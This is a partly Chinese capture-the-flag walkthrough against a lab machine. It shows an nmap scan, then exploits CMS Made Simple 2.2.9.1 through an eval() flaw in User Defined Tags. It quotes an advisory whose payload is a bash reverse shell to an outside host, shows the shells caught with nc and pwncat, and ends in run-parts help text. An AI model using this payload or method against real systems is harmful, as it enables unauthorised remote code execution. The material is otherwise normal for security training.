Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-14 00:25 EDT Stats: 0:00:00 elapsed; 0 hosts completed (0 up), 1 undergoing ARP Ping Scan Parallel DNS resolution of 1 host. Timing: About 0.00% done Nmap scan report for 192.168.0.205 Host is up (0.00027s latency). Not shown: 998 closed tcp ports (reset) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http
有 80 ， 打开网页看一眼，看见了系统是 CMS Made Simple version 2.2.9.1，看看没有有啥漏洞。
Vulnerability is present at "editusertag.php" at line #93 where the user input is in eval() PHP function.
// Vulnerable eval() code
if (eval('function testfunction'.rand().'() {'.$code."\n}") === FALSE) {
Reproduction Steps:
1. Login as administrator user and navigate to Extensions->User Defined Tags
2. Add code with the payload of: exec("/bin/bash -c 'bash -i > /dev/tcp/192.168.56.1/4444 0>&1'");
3. Click on the newly created User Defined Tag and use the Run function
RCE will be achieved:
astoykov@Lubuntu:~$ nc -kvlp 4444 nc: getnameinfo: Temporary failure in name resolution Connection received on 192.168.56.132 53690 id uid=1(daemon) gid=1(daemon) groups=1(daemon)
看起来就是登录后，在 Extensions->User Defined Tags 里面添加代码，然后执行反弹就行。 找到对应的 User Defined Tags ，把 exec 里面的东西改改，保存到 Code 里，保存成功后，，点了 RUN，成功反弹。
1 2 3 4
pwncat-cs -lp 1234 received connection from 192.168.0.205:54442 (remote) www-data@rooSter-Run:/var/www/html/admin$ id uid=33(www-data) gid=33(www-data) groups=33(www-data)
Usage: run-parts [OPTION]... DIRECTORY --testprint script names which would run, but don't run them. --list print names of all valid files (can not be used with --test) -v, --verbose print script names before running them. -d, --debug print script names while checking them. --report print script names if they produce output. --reverse reverse execution order of scripts. --exit-on-error exit as soon as a script returns with a non-zero exit code. --stdin multiplex stdin to scripts being run, using temporary file --lsbsysinit validate filenames based on LSB sysinit specs. --new-session run each script in a separate process session --regex=PATTERN validate filenames based on POSIX ERE pattern PATTERN. -u, --umask=UMASK sets umask to UMASK (octal), default is 022. -a, --arg=ARGUMENT pass ARGUMENT to scripts, use once for each argument. -V, --version output version information and exit. -h, --help display this help and exit.
RUN-PARTS(8) System Manager's Manual RUN-PARTS(8) NAME run-parts - run scripts or programs in a directory SYNOPSIS run-parts [--test] [--verbose] [--debug] [--report] [--lsbsysinit] [--regex=RE] [--umask=umask] [--arg=argument] [--exit-on-error] [--help] [--version] [--list] [--reverse] [--] DIRECTORY run-parts -V DESCRIPTION run-parts runs all the executable files named within constraints described below, found in directory directory. Other files and directories are silently ignored. If neither the --lsbsysinit option nor the --regex option is given then the names must consist entirely of ASCII upper- and lower-case letters, ASCII digits, ASCII under‐ scores, and ASCII minus-hyphens. If the --lsbsysinit option is given, then the names must not end in .dpkg-old or .dpkg-dist or .dpkg-new or .dpkg-tmp, and must belong to one or more of the following name‐ spaces: the LANANA-assigned namespace (^[a-z0-9]+$); the LSB hierarchical and reserved namespaces (^_?([a-z0-9_.]+-)+[a-z0-9]+$); and the Debian cron script namespace (^[a-zA- Z0-9_-]+$). If the --regex option is given, the names must match the custom extended regular expression specified as that option's argument.
Files are run sequentially in the lexical sort order (according to the C/POSIX locale character collation rules) of their names unless the --reverse option is given, inwhich case they are run in the opposite order.
